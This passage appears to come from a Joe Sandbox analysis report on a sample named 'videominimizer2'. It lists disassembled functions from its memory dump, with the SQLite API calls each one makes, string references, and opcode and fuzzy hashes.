sqlite3_column_blob.SQLITE3 ref: 609654FB
sqlite3_column_bytes.SQLITE3 ref: 60965510
sqlite3_reset.SQLITE3 ref: 60965556
sqlite3_reset.SQLITE3 ref: 609655B8

Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE

sqlite3_malloc.SQLITE3 ref: 60965655
sqlite3_free.SQLITE3 ref: 60965714
sqlite3_free.SQLITE3 ref: 6096574B

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_free.SQLITE3 ref: 609657AA

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_entersqlite3_reset$sqlite3_column_blobsqlite3_column_bytessqlite3_mallocsqlite3_mutex_leave
String ID:
API String ID: 2722129401-0
Opcode ID: 718344d9776843f9d3d0f11354c3fb96bdbf3732bae6ebd8df48c35682458f02
Instruction ID: e3a8cc565ee031670952cbbbf81914cbe75110044a29491daaf6513bdc913a85
Opcode Fuzzy Hash: 718344d9776843f9d3d0f11354c3fb96bdbf3732bae6ebd8df48c35682458f02
Instruction Fuzzy Hash: BBD1D270E14219CFEB14CFA9C48469DBBF2BF68304F20856AD899AB346D774E845CF81

Function 609644FC Relevance: 12.2, APIs: 8, Instructions: 204COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 609645D9

Part of subcall function 60928099: sqlite3_malloc.SQLITE3 ref: 609280ED

sqlite3_free.SQLITE3 ref: 609647C5

Part of subcall function 60963D35: memcmp.MSVCRT ref: 60963E74

sqlite3_free.SQLITE3 ref: 6096476B

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_free.SQLITE3 ref: 6096477B
sqlite3_free.SQLITE3 ref: 60964783

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_malloc$memcmpsqlite3_mutex_enter
String ID:
API String ID: 571598680-0
Opcode ID: d604abe0313f10411a0f234c71df8e29ee85eaf68e2bcebad1bf05c151ae1b53
Instruction ID: 53ad94a03898eae12f4127695087571842428d6fdffc19c65fee49adcf86f1ae
Opcode Fuzzy Hash: d604abe0313f10411a0f234c71df8e29ee85eaf68e2bcebad1bf05c151ae1b53
Instruction Fuzzy Hash: 5E91F674E14228CFEB14CFA9D890B9EBBB6BB99304F1085AAD849A7344D734DD81CF51

Function 609634F0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_blob_reopen.SQLITE3 ref: 60963510

Part of subcall function 60962F28: sqlite3_log.SQLITE3 ref: 60962F5D

sqlite3_mprintf.SQLITE3 ref: 60963534
sqlite3_blob_open.SQLITE3 ref: 6096358B
sqlite3_blob_bytes.SQLITE3 ref: 609635A3
sqlite3_malloc.SQLITE3 ref: 609635BB
sqlite3_blob_read.SQLITE3 ref: 60963602
sqlite3_free.SQLITE3 ref: 60963621

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_blob_bytessqlite3_blob_opensqlite3_blob_readsqlite3_blob_reopensqlite3_freesqlite3_logsqlite3_mallocsqlite3_mprintf
String ID:
API String ID: 4276469440-0
Opcode ID: 81f80890dbec9a3991ff68d8cfcbb164f6b4d7f09a97d6cb6c54cb11191f3d09
Instruction ID: 177081cd506585250240414a33056f89eeda992db91a315aff795e5fc91eaf1e
Opcode Fuzzy Hash: 81f80890dbec9a3991ff68d8cfcbb164f6b4d7f09a97d6cb6c54cb11191f3d09
Instruction Fuzzy Hash: C641E5B09087059FDB40DF29C48179EBBE6AF98354F01C87AE898DB354E734D841DB92

Function 6091A226 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6091A240
sqlite3_value_text.SQLITE3 ref: 6091A24E
sqlite3_value_bytes.SQLITE3 ref: 6091A25A
sqlite3_value_text.SQLITE3 ref: 6091A27C

Strings

ESCAPE expression must be a single character, xrefs: 6091A293
LIKE or GLOB pattern too complex, xrefs: 6091A267

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_bytes
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 4080917175-264706735
Opcode ID: e5bda90e0e0ba1860c41bc069fb20e3a267b2c9271c0a370806f06164fd47fa4
Instruction ID: 7e7232241edcba55bc41816b79a09feadaac9d75cc2fb544db44a2248cbef301
Opcode Fuzzy Hash: e5bda90e0e0ba1860c41bc069fb20e3a267b2c9271c0a370806f06164fd47fa4
Instruction Fuzzy Hash: A4214C74A182198BCB00DF79C88165EBBF6FF64354B108AA9E864DB344E734DCC6CB95

Function 609250BB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 6092506E: sqlite3_log.SQLITE3 ref: 609250AB

sqlite3_mutex_enter.SQLITE3 ref: 609250E7
sqlite3_value_text16.SQLITE3 ref: 60925100
sqlite3_value_text16.SQLITE3 ref: 6092512C
sqlite3_mutex_leave.SQLITE3 ref: 6092513E

Strings

library routine called out of sequence, xrefs: 609250D8
out of memory, xrefs: 609250C6, 609250EC

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
String ID: library routine called out of sequence$out of memory
API String ID: 2019783549-3029887290
Opcode ID: bf8b25fefa583efc99e02b0fe9019e927645d1a19242a42ec125398c6bed8d9e
Instruction ID: f6310061860eb79c45c0a7b6efb00bde58ba827c5a391e7df96a4cb3fbc4cfa9
Opcode Fuzzy Hash: bf8b25fefa583efc99e02b0fe9019e927645d1a19242a42ec125398c6bed8d9e
Instruction Fuzzy Hash: 81014C70A083049BDB14AF69C9C170EBBE6BF64248F0488A9EC958F30EE775D8818B51

Function 609406CF Relevance: 10.5, APIs: 7, Instructions: 40COMMON

Download Yara Rule

APIs

sqlite3_finalize.SQLITE3 ref: 609406E3

Part of subcall function 6094064B: sqlite3_log.SQLITE3 ref: 60940672
Part of subcall function 6094064B: sqlite3_log.SQLITE3 ref: 60940696

sqlite3_free.SQLITE3 ref: 609406F7
sqlite3_free.SQLITE3 ref: 60940705
sqlite3_free.SQLITE3 ref: 60940713
sqlite3_free.SQLITE3 ref: 6094071E
sqlite3_free.SQLITE3 ref: 60940729
sqlite3_free.SQLITE3 ref: 6094073C

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_log$sqlite3_finalize
String ID:
API String ID: 1159759059-0
Opcode ID: 19269ae46022e444f8470c890b78f38089a522c4155da373e534dfec766a18bc
Instruction ID: 8ceab58ab7f3fb7faec85fb80e78016d1f3d655de586deaf1cb04ee1bc4e3406
Opcode Fuzzy Hash: 19269ae46022e444f8470c890b78f38089a522c4155da373e534dfec766a18bc
Instruction Fuzzy Hash: C801E8B45447108BDB00AF78C4C5A59BBE5EF79B18F06096DECCA8B305D734D8809B91

Function 60947378 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3(?), ref: 609476DD

Part of subcall function 60904423: sqlite3_mutex_leave.SQLITE3(6090449D,?,?,?,60908270), ref: 60904446

sqlite3_log.SQLITE3 ref: 609498F5

Strings

|, xrefs: 609499CF
List of tree roots: , xrefs: 60947599
d, xrefs: 609474ED

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_logsqlite3_mutex_leave
String ID: List of tree roots: $d$|
API String ID: 3709608969-1164703836
Opcode ID: 316fa83f4dc1e403b3b617744d66ff6f9af545e53e2752a9ff9486d467efffaf
Instruction ID: c91562837ba2d96ae21b52ab8334c840e7cbe23d8154f1acff92b465618a0bd4
Opcode Fuzzy Hash: 316fa83f4dc1e403b3b617744d66ff6f9af545e53e2752a9ff9486d467efffaf
Instruction Fuzzy Hash: 3FE10570A043698BDB22CF18C88179DFBBABF65304F1185D9E858AB251D775DE81CF81

Function 60960052 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

Part of subcall function 6095FFB2: sqlite3_bind_int64.SQLITE3 ref: 6095FFFA
Part of subcall function 6095FFB2: sqlite3_step.SQLITE3 ref: 60960009
Part of subcall function 6095FFB2: sqlite3_reset.SQLITE3 ref: 60960019
Part of subcall function 6095FFB2: sqlite3_result_error_code.SQLITE3 ref: 60960043

sqlite3_column_int64.SQLITE3 ref: 609600BA
sqlite3_column_text.SQLITE3 ref: 609600EF
sqlite3_free.SQLITE3 ref: 6096029A

Strings

e, xrefs: 60960227

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_column_int64sqlite3_column_textsqlite3_freesqlite3_resetsqlite3_result_error_codesqlite3_step
String ID: e
API String ID: 786425071-4024072794
Opcode ID: 373422d03c3c71c2ddc35291c61dfb2213fd8f263c0b9a30c36f02d650250dc2
Instruction ID: e80500568aa73e744b5c90812a7938b6c4ac38b40afb48beb036dafaf3e7d002
Opcode Fuzzy Hash: 373422d03c3c71c2ddc35291c61dfb2213fd8f263c0b9a30c36f02d650250dc2
Instruction Fuzzy Hash: 6291E270A18609CFDB04CF99C494B9EBBF2BF98314F108529E869AB354D774E885CF91

Function 609470DE Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 110COMMON

Download Yara Rule

APIs

sqlite3_exec.SQLITE3 ref: 6094716D

Strings

sqlite_master, xrefs: 609470E7
|, xrefs: 609499CF
sqlite_temp_master, xrefs: 609470F1

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_exec
String ID: sqlite_master$sqlite_temp_master$|
API String ID: 2141490097-2247242311
Opcode ID: 0e32379bf9c90bcee3e658b343db186d73978ee403121efd96d42beb4ff38922
Instruction ID: 9143400cfb6dc20a8edc2ca7c04099347fc9d468871a1d2187ae3123f936d49a
Opcode Fuzzy Hash: 0e32379bf9c90bcee3e658b343db186d73978ee403121efd96d42beb4ff38922
Instruction Fuzzy Hash: C551B6B09083289BDB26CF18C885799BBFABF59304F108599E498A7351D775DA84CF41

Function 60963637 Relevance: 7.8, APIs: 5, Instructions: 258COMMON

Download Yara Rule

APIs

sqlite3_realloc.SQLITE3(?,?), ref: 6096373B
memcmp.MSVCRT(?,?), ref: 60963782
sqlite3_free.SQLITE3 ref: 60963843
sqlite3_free.SQLITE3 ref: 609638D9
sqlite3_free.SQLITE3 ref: 60963953

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$memcmpsqlite3_realloc
String ID:
API String ID: 3422960571-0
Opcode ID: 50eda45380483794e32bdd730fc6b6b580c41d30328003452ec2c22d7d846426
Instruction ID: 3b390e38dde49c5924589a602beaf2ee173d98914be71c714148da16d267e2cf
Opcode Fuzzy Hash: 50eda45380483794e32bdd730fc6b6b580c41d30328003452ec2c22d7d846426
Instruction Fuzzy Hash: 42B1D0B4E142189BEB05CFA9C5807DDBBF6BFA8304F148429E858A7344D374E946CF91

Function 6094B137 Relevance: 7.7, APIs: 5, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 6090A0D5: sqlite3_free.SQLITE3 ref: 6090A118

sqlite3_malloc.SQLITE3 ref: 6094B1D1
sqlite3_value_bytes.SQLITE3 ref: 6094B24C
sqlite3_malloc.SQLITE3 ref: 6094B272
sqlite3_value_blob.SQLITE3 ref: 6094B298
sqlite3_free.SQLITE3 ref: 6094B2C8

Part of subcall function 6094A894: sqlite3_bind_int64.SQLITE3 ref: 6094A8C0
Part of subcall function 6094A894: sqlite3_step.SQLITE3 ref: 6094A8CE
Part of subcall function 6094A894: sqlite3_column_int64.SQLITE3 ref: 6094A8E9
Part of subcall function 6094A894: sqlite3_reset.SQLITE3 ref: 6094A90F

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_malloc$sqlite3_bind_int64sqlite3_column_int64sqlite3_resetsqlite3_stepsqlite3_value_blobsqlite3_value_bytes
String ID:
API String ID: 683514883-0
Opcode ID: 3036fcfce1ee653ed62d56f61367963e4d2afc4bfe1ca560103df060be3b8356
Instruction ID: 83940ce9cf0a2bab7a741171fc95cc3a005d2848f59039768723a80715f2adcb
Opcode Fuzzy Hash: 3036fcfce1ee653ed62d56f61367963e4d2afc4bfe1ca560103df060be3b8356
Instruction Fuzzy Hash: E19133B1A052099FCB04CFA9D490B9EBBF6FF68314F108569E855AB341DB34ED81CB91

Function 6093A1DD Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A200
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A391
sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A3A3
sqlite3_free.SQLITE3 ref: 6093A3BA
sqlite3_free.SQLITE3 ref: 6093A3C2

Part of subcall function 6093A0C5: sqlite3_mutex_enter.SQLITE3 ref: 6093A114
Part of subcall function 6093A0C5: sqlite3_mutex_free.SQLITE3 ref: 6093A152
Part of subcall function 6093A0C5: sqlite3_mutex_leave.SQLITE3 ref: 6093A162
Part of subcall function 6093A0C5: sqlite3_free.SQLITE3 ref: 6093A1A4
Part of subcall function 6093A0C5: sqlite3_free.SQLITE3 ref: 6093A1C3

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_leave$sqlite3_mutex_free$sqlite3_mutex_enter
String ID:
API String ID: 1903298374-0
Opcode ID: 8530df85f137a660efabd51ca86f4821d2fdcc6d7a3fd2cfb4f5547b241dda56
Instruction ID: f6c450fbbadf2e04ab128defb7df19fdb2a161b4e6cf4e71623f80625393026f
Opcode Fuzzy Hash: 8530df85f137a660efabd51ca86f4821d2fdcc6d7a3fd2cfb4f5547b241dda56
Instruction Fuzzy Hash: EB513870A047218BDB58DF69C8C074AB7A6BF65318F05896CECA69B305D735EC41CF91

Function 6093A0C5 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8

sqlite3_mutex_enter.SQLITE3 ref: 6093A114
sqlite3_mutex_free.SQLITE3 ref: 6093A152
sqlite3_mutex_leave.SQLITE3 ref: 6093A162
sqlite3_free.SQLITE3 ref: 6093A1A4
sqlite3_free.SQLITE3 ref: 6093A1C3

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_entersqlite3_mutex_freesqlite3_mutex_leavesqlite3_mutex_try
String ID:
API String ID: 1894464702-0
Opcode ID: 7188b9a67afd66d207271078c150a83da37f36a2752b1b5804700c826a798ba9
Instruction ID: 8ebadd1dc7ee404a0f141fd21885e91e0aa1156a5a6df10951b92a0b718128ce
Opcode Fuzzy Hash: 7188b9a67afd66d207271078c150a83da37f36a2752b1b5804700c826a798ba9
Instruction Fuzzy Hash: CF313C70B086118BDB18DF79C8C1A1A7BFBBFB2704F148468E8418B219EB35DC419F91

Function 6092535E Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 60925326: sqlite3_log.SQLITE3 ref: 60925352

sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,609254CC), ref: 6092538E
sqlite3_mutex_leave.SQLITE3 ref: 609253C4
sqlite3_log.SQLITE3 ref: 609253E2
sqlite3_log.SQLITE3 ref: 60925406
sqlite3_mutex_leave.SQLITE3 ref: 60925443

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log$sqlite3_mutex_leave$sqlite3_mutex_enter
String ID:
API String ID: 3336957480-0
Opcode ID: 1198911827aa14b9fab328e6e7c73bc961b2278be0ca20fe6461460b1b30ceeb
Instruction ID: a100dd02d465b32589d57b5b9efe4db3cd483c3b5de54de748c9b161d5d001e2
Opcode Fuzzy Hash: 1198911827aa14b9fab328e6e7c73bc961b2278be0ca20fe6461460b1b30ceeb
Instruction Fuzzy Hash: D3315A70228704DBDB00EF28D49575ABBE6AFA1358F00886DE9948F36DD778C885DB02

Function 60961389 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

sqlite3_result_blob.SQLITE3 ref: 609613D0
sqlite3_column_int.SQLITE3 ref: 6096143A
sqlite3_data_count.SQLITE3 ref: 60961465
sqlite3_column_value.SQLITE3 ref: 60961476
sqlite3_result_value.SQLITE3 ref: 60961482

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_column_intsqlite3_column_valuesqlite3_data_countsqlite3_result_blobsqlite3_result_value
String ID:
API String ID: 3091402450-0
Opcode ID: 15f5c91e7d752206cb5be57281081ebbda5684d1dfb7c3b21a78c03d1c189b87
Instruction ID: 8b12398a3b1f37ca0d2e1a8d549e1f0529ecbd38da511dd0edd3444da8e5cc4d
Opcode Fuzzy Hash: 15f5c91e7d752206cb5be57281081ebbda5684d1dfb7c3b21a78c03d1c189b87
Instruction Fuzzy Hash: 72314DB19082058FDB00DF29C48064EB7F6FF65354F19856AE8999B361EB34E886CF81

Function 60939097 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 609390AC
